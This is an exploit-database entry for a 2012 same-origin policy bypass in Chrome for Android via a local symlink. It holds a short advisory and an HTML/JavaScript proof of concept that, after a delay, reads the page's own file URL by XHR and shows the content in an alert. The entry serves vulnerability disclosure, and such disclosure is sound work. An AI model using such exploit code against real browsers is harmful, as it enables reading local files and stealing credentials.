Google Chrome for Android - Same-origin Policy Bypass Local Symlink

2012-09-1200:00:00

Artem Chaykin

www.exploit-db.com

AI Score

7.4

Confidence

Low

EPSS

0.002

Percentile

57.7%

JSON

source: https://www.securityfocus.com/bid/55523/info
   
Google Chrome for Android is prone to multiple vulnerabilities.
   
Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.
   
Versions prior to Chrome for Android 18.0.1025308 are vulnerable. 

<body>
     <u>Wait a few seconds.</u>
     <script>
     function doitjs() {
       var xhr = new XMLHttpRequest;
       xhr.onload = function() {
         alert(xhr.responseText);
       };
       xhr.open('GET', document.URL);
       xhr.send(null);
     }
     setTimeout(doitjs, 8000);
     </script>
</body>

AI Score

7.4

Confidence

Low

EPSS

0.002

Percentile

57.7%

JSON

Related for EDB-ID:37795